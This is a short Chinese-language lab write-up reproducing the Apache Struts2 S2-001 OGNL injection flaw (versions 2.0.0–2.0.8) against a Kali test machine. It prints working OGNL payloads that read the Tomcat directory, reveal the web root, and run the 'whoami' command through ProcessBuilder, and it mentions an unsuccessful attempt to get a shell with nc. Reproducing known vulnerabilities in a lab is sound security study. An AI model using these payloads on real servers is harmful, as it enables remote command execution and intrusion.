1. 漏洞描述
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
漏洞版本:Struts 2.0.0 - Struts 2.0.8
2. 漏洞复现:
1.复现环境
靶机:kali:192.168.172.134
攻击机:windows:192.168.31.18
2. 验证漏洞是否存在
我们在密码处输
两个输入框都能成功执行
3. 构造poc获取tomcat执行路径
漏洞验证代码:
%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”} -尝试获取Tomcat 执行路径
成功获取 tomcatBinDir{/usr/local/tomcat}
4. 尝试获取Web路径
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }[![]
获取成功/usr/local/tomcat/webapps/ROOT/
5.执行whoami命令
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
0x00 Getshell没法写攻击机的NC打不开,下个文章一定补上
版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!
好像不能用